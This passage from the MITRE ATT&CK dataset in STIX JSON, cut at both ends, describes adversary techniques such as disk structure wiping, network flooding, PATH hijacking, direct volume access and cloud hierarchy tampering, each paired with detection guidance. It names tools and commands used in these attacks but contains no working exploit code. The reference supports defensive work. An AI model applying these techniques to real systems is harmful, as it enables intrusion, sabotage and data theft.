28). What is a DLL. Retrieved September 7, 2023.","url":"https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library"},{"source_name":"Linux Shared Libraries","description":"Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023.","url":"https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","created":"2020-10-19T23:46:13.931Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1602","url":"https://attack.mitre.org/techniques/T1602"},{"source_name":"Cisco Advisory SNMP v3 Authentication Vulnerabilities","url":"https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3","description":"Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020."},{"source_name":"US-CERT TA17-156A SNMP Abuse 2017","url":"https://us-cert.cisa.gov/ncas/alerts/TA17-156A","description":"US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)","modified":"2022-04-19T21:32:58.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Data from Configuration Repository","x_mitre_detection":"Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:32:05.064Z","name":"Disk Structure Wipe","description":"Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_contributors":["Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\n\nFor network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["Driver: Driver Load","Drive: Drive Modification","Drive: Drive Access","Command: Command Execution","Process: Process Creation"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","created":"2020-02-20T22:10:20.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1561/002","external_id":"T1561.002"},{"source_name":"format_cmd_cisco","description":"Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668"},{"source_name":"Unit 42 Shamoon3 2018","description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"},{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"},{"source_name":"FireEye Shamoon Nov 2016","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"},{"source_name":"Kaspersky StoneDrill 2017","description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"},{"source_name":"Microsoft Sysmon v6 May 2017","description":"Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.","url":"https://docs.microsoft.com/sysinternals/downloads/sysmon"},{"source_name":"Symantec Shamoon 2012","description":"Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.","url":"https://www.symantec.com/connect/blogs/shamoon-attacks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:54:49.943Z","name":"Direct Network Flood","description":"Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_version":"1.4","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Sensor Health: Host Status"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3","created":"2020-03-02T20:07:18.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1498/001","external_id":"T1498.001"},{"source_name":"Cisco DoSdetectNetflow","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"},{"source_name":"USNYAG IranianBotnet March 2016","description":"Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.","url":"https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92","type":"attack-pattern","created":"2019-04-09T11:51:30.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1492","url":"https://attack.mitre.org/techniques/T1492"},{"description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://content.fireeye.com/apt/rpt-apt38","source_name":"FireEye APT38 Oct 2018"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}],"modified":"2020-03-02T14:24:26.780Z","name":"Stored Data Manipulation","description":"Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_impact_type":["Integrity"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2023-10-03T03:29:57.078Z","name":"Path Interception by PATH Environment Variable","description":"Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Stefan Kanthak"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Creation","Windows Registry: Windows Registry Key Modification","Process: Process Creation"],"x_mitre_defense_bypassed":["Application Control"],"type":"attack-pattern","id":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","created":"2020-03-13T14:10:43.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1574/007","external_id":"T1574.007"},{"source_name":"Elastic Rules macOS launchctl 2022","description":"Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.","url":"https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html"},{"source_name":"ExpressVPN PATH env Windows 2021","description":"ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.","url":"https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/"},{"source_name":"uptycs Fake POC linux malware 2023","description":"Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.","url":"https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware"},{"source_name":"nixCraft macOS PATH variables","description":"Vivek Gite. (2023, August 22). MacOS – Set / Change $PATH Variable Command. Retrieved September 28, 2023.","url":"https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Sharepoint","description":"Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Office Suite"],"x_mitre_version":"1.1","x_mitre_data_sources":["Logon Session: Logon Session Creation","Application Log: Application Log Content","Cloud Service: Cloud Service Metadata"],"type":"attack-pattern","id":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","created":"2020-02-14T13:35:32.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1213/002","external_id":"T1213.002"},{"source_name":"Microsoft SharePoint Logging","description":"Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.","url":"https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-04-16T12:25:24.480Z","name":"Direct Volume Access","description":"Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Tom Simpson, CrowdStrike Falcon OverWatch"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Network"],"x_mitre_version":"2.2","x_mitre_data_sources":["File: File Creation","Drive: Drive Access","Command: Command Execution"],"x_mitre_defense_bypassed":["File monitoring","File system access controls"],"type":"attack-pattern","id":"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5","created":"2017-05-31T21:30:20.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1006","external_id":"T1006"},{"source_name":"Github PowerSploit Ninjacopy","description":"Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.","url":"https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"},{"source_name":"Hakobyan 2009","description":"Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.","url":"http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin"},{"source_name":"LOLBAS Esentutl","description":"LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a","type":"attack-pattern","created":"2017-05-31T21:30:43.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1044","url":"https://attack.mitre.org/techniques/T1044"},{"external_id":"CAPEC-17","source_name":"capec","url":"https://capec.mitre.org/data/definitions/17.html"},{"url":"https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/","description":"Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.","source_name":"Mozilla Firefox Installer DLL Hijack"},{"url":"http://seclists.org/fulldisclosure/2015/Dec/34","description":"Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.","source_name":"Seclists Kanthak 7zip Installer"}],"modified":"2020-03-19T15:11:39.627Z","name":"File System Permissions Weakness","description":"Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["SYSTEM","User","Administrator"],"x_mitre_is_subtechnique":false},{"modified":"2024-09-12T19:18:36.583Z","name":"Artificial Intelligence","description":"Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI)\n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.0","type":"attack-pattern","id":"attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e","created":"2024-03-11T13:37:31.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1588/007","external_id":"T1588.007"},{"source_name":"MSFT-AI","description":"Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"},{"source_name":"OpenAI-CTI","description":"OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024.","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T16:15:41.224Z","name":"Modify Cloud Resource Hierarchy","description":"Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses. \n\nIaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.(Citation: AWS Organizations)(Citation: Microsoft Azure Resources)\n\nAdversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.(Citation: Microsoft Peach Sandstorm 2023)(Citation: Microsoft Subscription Hijacking 2022)\n\nIn AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.(Citation: AWS RE:Inforce Threat Detection 2024)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.0","x_mitre_data_sources":["Cloud Service: Cloud Service Modification"],"type":"attack-pattern","id":"attack-pattern--0ce73446-8722-4086-9d43-514f1d0f669e","created":"2024-09-25T14:16:19.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1666","external_id":"T1666"},{"source_name":"AWS Organizations","description":"AWS. (n.d.). Terminology and concepts for AWS Organizations. Retrieved September 25, 2024.","url":"https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html"},{"source_name":"AWS RE:Inforce Threat Detection 2024","description":"Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.","url":"https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"},{"source_name":"Microsoft Subscription Hijacking 2022","description":"Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions using 